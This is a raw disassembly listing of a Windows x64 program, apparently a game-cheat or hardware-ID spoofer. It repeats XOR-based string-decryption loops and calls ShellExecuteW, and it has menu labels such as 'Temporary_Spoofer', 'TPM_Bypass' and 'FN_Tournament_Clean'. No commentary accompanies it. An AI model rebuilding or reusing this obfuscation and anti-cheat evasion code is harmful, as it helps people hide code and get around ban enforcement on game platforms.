psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x48
jl 0x1400f86e0
cmp r8d, 0x4f
jge 0x1400f8814
movsxd rax, r8d
lea r9, [rbp + 0x1f20]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x4f
jl 0x1400f87e0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0x1f20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rbp + 0x4b8], 0x41480000
mov dword [rbp + 0x4bc], 0x435c0000
lea rcx, [rbp + 0x4b8]
call fcn.140044e30
mov rcx, rsi
call fcn.140044c30
movaps xmm2, xmmword [0x1402dae40]
movaps xmm1, xmmword [0x1402dad60]
movaps xmm0, xmmword [0x140327e80]
mov dword [rbp + 0x4c0], 0x42fa0000
mov dword [rbp + 0x4c4], 0x42200000
mov eax, dword [str._DZYQ8]
mov dword [rbp + 0x4a], eax
movzx eax, word [0x140324ca4]
mov word [rbp + 0x4e], ax
mov byte [rbp + 0x4a], 0x53
xor byte [rbp + 0x4b], 0x34
xor byte [rbp + 0x4c], 0x35
xor byte [rbp + 0x4d], 0x36
xor al, 0x37
mov byte [rbp + 0x4e], al
xor byte [rbp + 0x4f], 0x38
movdqa xmmword [rsp + 0x60], xmm2
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmmword [rbp - 0x70], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f1f8]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f1f0]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f1e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f1e0]
xor r8d, r8d
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x4a]
call fcn.140070150
test al, al
je 0x1400f897d
mov byte [0x14049f05f], 1
lea rdx, [0x1400b84c0]
lea rcx, [rbp + 0xb70]
call fcn.140071f30
nop
cmp dword [rbp + 0xb78], 0
je 0x1400fe733
movaps xmm0, xmmword [rbp + 0xb70]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x1400fe733
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xb70], xmm0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
movaps xmm6, xmmword [0x1402dae40]
movaps xmm7, xmmword [0x1402dad60]
movaps xmm8, xmmword [0x140327e80]
mov dword [rbp + 0x4c8], 0x42fa0000
mov dword [rbp + 0x4cc], 0x42200000
movsd xmm0, qword [str.aQXYA_]
movsd qword [rbp + 0x7f0], xmm0
mov eax, dword [0x140324cb0]
mov dword [rbp + 0x7f8], eax
movzx eax, byte [0x140324cb4]
mov byte [rbp + 0x7fc], al
mov r8d, edi
cmp r15d, 2
jl 0x1400f8af2
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.aQXYA_]
xorps xmm2, xmm0
movd dword [rbp + 0x7f0], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7f4]
xorps xmm2, xmm1
movd dword [rbp + 0x7f4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7f0]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400f8b00
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x70], xmm7
movdqa xmmword [rbp - 0x70], xmm8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f218]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f210]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f208]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f200]
xor r8d, r8d
lea rdx, [rbp + 0x4c8]
lea rcx, [rbp + 0x7f0]
call fcn.140070150
test al, al
je 0x1400f8da7
call fcn.1400a1b40
mov rcx, r12
call fcn.140044c30
movups xmm0, xmmword [str._AVURKJNPQG]
movups xmmword [rbp + 0x19a4], xmm0
movups xmm1, xmmword [0x140324cc8]
movups xmmword [rbp + 0x19b4], xmm1
mov eax, dword [0x140324cd8]
mov dword [rbp + 0x19c4], eax
movzx eax, byte [0x140324cdc]
mov byte [rbp + 0x19c8], al
mov r8d, edi
cmp r15d, 2
jl 0x1400f8d35
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x19a8]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400f8c30
cmp r8d, 0x25
jge 0x1400f8d80
movsxd rax, r8d
lea r9, [rbp + 0x19a4]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x1400f8d50
lea r9, [rbp + 0x19a4]
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0xbec0]
call fcn.14008a180
lea rcx, [rbp + 0xbec0]
call fcn.14008f3c0
call fcn.140035d40
mov esi, 1
mov ecx, esi
call fcn.140040920
lea ecx, [rsi + 1]
call fcn.1400409f0
mov rbx, qword [rbp + 0xc0]
jmp 0x1400f9326
mov qword [rbp + 0x5b8], 0x41a00000
lea rcx, [rbp + 0x5b8]
call fcn.140044e30
mov qword [rbp + 0x4d8], 0
lea rdx, [rbp + 0x4d8]
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.140040f40
call fcn.1400324b0
mov rcx, qword [rbp + 0x640]
call fcn.140044c30
mov eax, dword [str.xQGXRT9]
mov dword [rbp + 0x9d], eax
movzx ecx, word [0x140324ce4]
mov word [rbp + 0xa1], cx
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x9d], Ordinal_79
xor byte [rbp + 0x9e], 0x34
xor byte [rbp + 0x9f], 0x35
xor byte [rbp + 0xa0], 0x36
xor cl, 0x37
mov byte [rbp + 0xa1], cl
xor byte [rbp + 0xa2], 0x38
xor al, 0x39
mov byte [rbp + 0xa3], al
lea rcx, [rbp + 0x9d]
call fcn.14006cdd0
mov rcx, r14
call fcn.140044c30
movaps xmm0, xmmword [0x140327e10]
movups xmmword [rbp + 0xb80], xmm0
lea rdx, [rbp + 0xb80]
xor ecx, ecx
call fcn.140040ee0
movups xmm0, xmmword [str.f_ZB_]
movups xmmword [rbp + 0x1980], xmm0
movups xmm1, xmmword [0x140324cf8]
movups xmmword [rbp + 0x1990], xmm1
mov eax, dword [0x140324d08]
mov dword [rbp + 0x19a0], eax
mov r8d, edi
cmp r15d, 2
jl 0x1400f9005
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x1984]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400f8f00
cmp r8d, 0x24
jge 0x1400f9050
movsxd rax, r8d
lea r9, [rbp + 0x1980]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x1400f9020
lea rcx, [rbp + 0x1980]
call fcn.14006cdd0
mov ecx, esi
call fcn.140040920
call fcn.140036530
mov ecx, esi
call fcn.1400409f0
mov dword [rbp + 0x4e0], 0x41a00000
mov dword [rbp + 0x4e4], 0x42a00000
lea rcx, [rbp + 0x4e0]
call fcn.140044e30
movaps xmm0, xmmword [0x1402dad30]
movups xmmword [rbp + 0xb90], xmm0
lea rdx, [rbp + 0xb90]
mov ecx, 7
call fcn.140040ee0
mov dword [rbp + 0x4e8], 0x4414c000
mov dword [rbp + 0x4ec], 0x43480000
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x4000
lea r9, [rbp + 0x4e8]
mov r8, rsi
lea rdx, [rbp + 0x1dc10]
lea rcx, [0x140325588]
call fcn.14006aba0
mov ecx, esi
call fcn.140040920
movaps xmm1, xmm10
mov rcx, r14
call fcn.140040c80
mov dword [rbp + 0x4f0], 0x41f00000
mov dword [rbp + 0x4f4], 0x42b40000
lea rcx, [rbp + 0x4f0]
call fcn.140044e30
lea rcx, [0x14049ee5c]
call fcn.14006cdd0
call fcn.140040740
mov dword [rbp + 0x4f8], 0x41a00000
mov dword [rbp + 0x4fc], 0x43960000
lea rcx, [rbp + 0x4f8]
call fcn.140044e30
mov qword [rbp + 0x500], 0x40a00000
lea rdx, [rbp + 0x500]
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.140040f40
call fcn.1400324b0
mov rcx, r14
call fcn.140044c30
lea r8, [0x1402ce994]
lea rdx, [0x14049f061]
lea rcx, str.Temporary_Spoofer
call fcn.140066350
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
lea r8, [0x1402ce994]
lea rdx, [0x14049f062]
lea rcx, str.TPM_Bypass
call fcn.140066350
lea r8, [0x1402ce994]
lea rdx, [0x14049f063]
lea rcx, str.FN_Tournament_Clean
call fcn.140066350
call fcn.140036530
mov ecx, esi
call fcn.1400409f0
mov dword [rbp + 0x508], 0x41a00000
mov dword [rbp + 0x50c], 0x43c80000
lea rcx, [rbp + 0x508]
call fcn.140044e30
mov rcx, r12
call fcn.140044c30
movaps xmm2, xmmword [0x1402dae40]
movaps xmm1, xmmword [0x1402dad60]
movaps xmm0, xmmword [0x140327e80]
mov dword [rbp + 0x510], 0x4414c000
mov dword [rbp + 0x514], 0x42480000
mov eax, dword [0x140324d0c]
mov dword [rbp + 0x50], eax
movzx eax, word [0x140324d10]
mov word [rbp + 0x54], ax
mov byte [rbp + 0x50], 0x53
xor byte [rbp + 0x51], 0x34
xor byte [rbp + 0x52], 0x35
xor byte [rbp + 0x53], 0x36
xor al, 0x37
mov byte [rbp + 0x54], al
xor byte [rbp + 0x55], 0x38
movdqa xmmword [rsp + 0x60], xmm2
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmmword [rbp - 0x70], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f238]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f230]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f228]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f220]
xor r8d, r8d
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x50]
call fcn.140070150
test al, al
je 0x1400f9326
lea rdx, [0x1400b7fb0]
lea rcx, [rbp + 0xba0]
call fcn.140071f30
nop
cmp dword [rbp + 0xba8], 0
je 0x1400fe73e
movaps xmm0, xmmword [rbp + 0xba0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x1400fe73e
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xba0], xmm0
call fcn.140035d40
mov dword [rbp + 0x518], 0x4405c000
mov dword [rbp + 0x51c], 0x40a00000
lea rcx, [rbp + 0x518]
call fcn.140044e30
movaps xmm1, xmm10
mov rcx, rbx
call fcn.140040c80
movaps xmm0, xmmword [0x140327e90]
movaps xmm1, xmmword [0x140327eb0]
mov dword [rbp + 0x520], 0x42200000
mov dword [rbp + 0x524], 0x42200000
movzx eax, word [0x140324d14]
mov word [rbp - 0x58], ax
cmp byte [0x140324d15], 0
je 0x1400f9395
mov byte [rbp - 0x58], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp - 0x57], 0x34
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9be0]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9bd8]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9bd0]
xor r8d, r8d
lea rdx, [rbp + 0x520]
lea rcx, [rbp - 0x58]
call fcn.1400706b0
test al, al
je 0x1400f9406
xor r9d, r9d
mov edx, 0x112
mov r8d, 0xf020
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_SendMessageW]
mov dword [rbp + 0x528], 0x44124000
mov dword [rbp + 0x52c], 0x40a00000
lea rcx, [rbp + 0x528]
call fcn.140044e30
movaps xmm0, xmmword [0x140327e90]
movaps xmm1, xmmword [0x140327e70]
mov dword [rbp + 0x530], 0x42200000
mov dword [rbp + 0x534], 0x42200000
movzx eax, word [0x140324d18]
mov word [rbp - 0x56], ax
cmp byte [0x140324d19], 0
je 0x1400f9464
mov byte [rbp - 0x56], 0x78
xor byte [rbp - 0x55], 0x34
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9bf8]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9bf0]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9be8]
xor r8d, r8d
lea rdx, [rbp + 0x530]
lea rcx, [rbp - 0x56]
call fcn.1400706b0
test al, al
jne 0x1400fe6f2
call fcn.140040740
mov ecx, esi
call fcn.1400409f0
mov eax, dword [0x14049f068]
cmp eax, 2
jne 0x1400fcde7
mov dword [rbp + 0x538], 0x41a00000
mov dword [rbp + 0x53c], 0x41200000
lea rcx, [rbp + 0x538]
call fcn.140044e30
mov qword [rbp + 0x540], 0
lea rdx, [rbp + 0x540]
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.140040f40
call fcn.1400324b0
mov rsi, qword [rbp + 0x640]
mov rcx, rsi
call fcn.140044c30
movups xmm0, xmmword [str.cr]
movups xmmword [rbp + 0xcd9], xmm0
mov eax, dword [0x140324d30]
mov dword [rbp + 0xce9], eax
cmp byte [0x140324d33], 0
je 0x1400f96e0
mov r8d, edi
cmp r15d, 2
jl 0x1400f9695
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xcdd]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400f9590
cmp r8d, 0x14
jge 0x1400f96e0
movsxd rax, r8d
lea r9, [rbp + 0xcd9]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400f96b0
lea rcx, [rbp + 0xcd9]
call fcn.14006cdd0
mov rcx, r14
call fcn.140044c30
movaps xmm0, xmmword [0x140327e10]
movups xmmword [rbp + 0xbb0], xmm0
lea rdx, [rbp + 0xbb0]
xor ecx, ecx
call fcn.140040ee0
movups xmm0, xmmword [0x140324d38]
movups xmmword [rbp + 0x1a12], xmm0
movups xmm1, xmmword [0x140324d48]
movups xmmword [rbp + 0x1a22], xmm1
mov eax, dword [0x140324d58]
mov dword [rbp + 0x1a32], eax
movzx eax, word [0x140324d5c]
mov word [rbp + 0x1a36], ax
movzx eax, byte [0x140324d5e]
mov byte [rbp + 0x1a38], al
mov r8d, edi
cmp r15d, 2
jl 0x1400f9896
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x1a16]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400f9791
cmp r8d, 0x27
jge 0x1400f98e0
movsxd rax, r8d
lea r9, [rbp + 0x1a12]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x1400f98b0
lea rcx, [rbp + 0x1a12]
call fcn.14006cdd0
mov ecx, 1
call fcn.140040920
call fcn.140036530
mov ecx, 1
call fcn.1400409f0
call fcn.140038b90
mov rdi, rax
mov rcx, r13
call fcn.140044c30
mov dword [rbp + 0x548], 0x41a00000
mov dword [rbp + 0x54c], 0x42a00000
lea rcx, [rbp + 0x548]
call fcn.140044e30
xor eax, eax
mov dword [rdi + 0xe4], eax
mov qword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
mov eax, dword [str.tFPSY8]
mov dword [rbp + 0x56], eax
movzx eax, word [0x140324d64]
mov word [rbp + 0x5a], ax
mov byte [rbp + 0x56], 0x47
xor byte [rbp + 0x57], 0x34
xor byte [rbp + 0x58], 0x35
xor byte [rbp + 0x59], 0x36
xor al, 0x37
mov byte [rbp + 0x5a], al
xor byte [rbp + 0x5b], 0x38
lea rcx, [rbp + 0x56]
call fcn.14006cee0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
mov dword [rdi + 0xe4], 0x3f800000
mov dword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xec], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
movups xmm0, xmmword [0x140324d68]
movups xmmword [rbp + 0xde0], xmm0
movsd xmm0, qword [0x140324d78]
movsd qword [rbp + 0xdf0], xmm0
cmp byte [0x140324d7f], 0
je 0x1400f9b70
cmp r15d, 2
jl 0x1400f9b2f
movdqa xmm5, xmmword [0x1402d9220]
xor edx, edx
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xde4]
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400f9a30
jmp 0x1400f9b70
lea r9, [rbp + 0xde0]
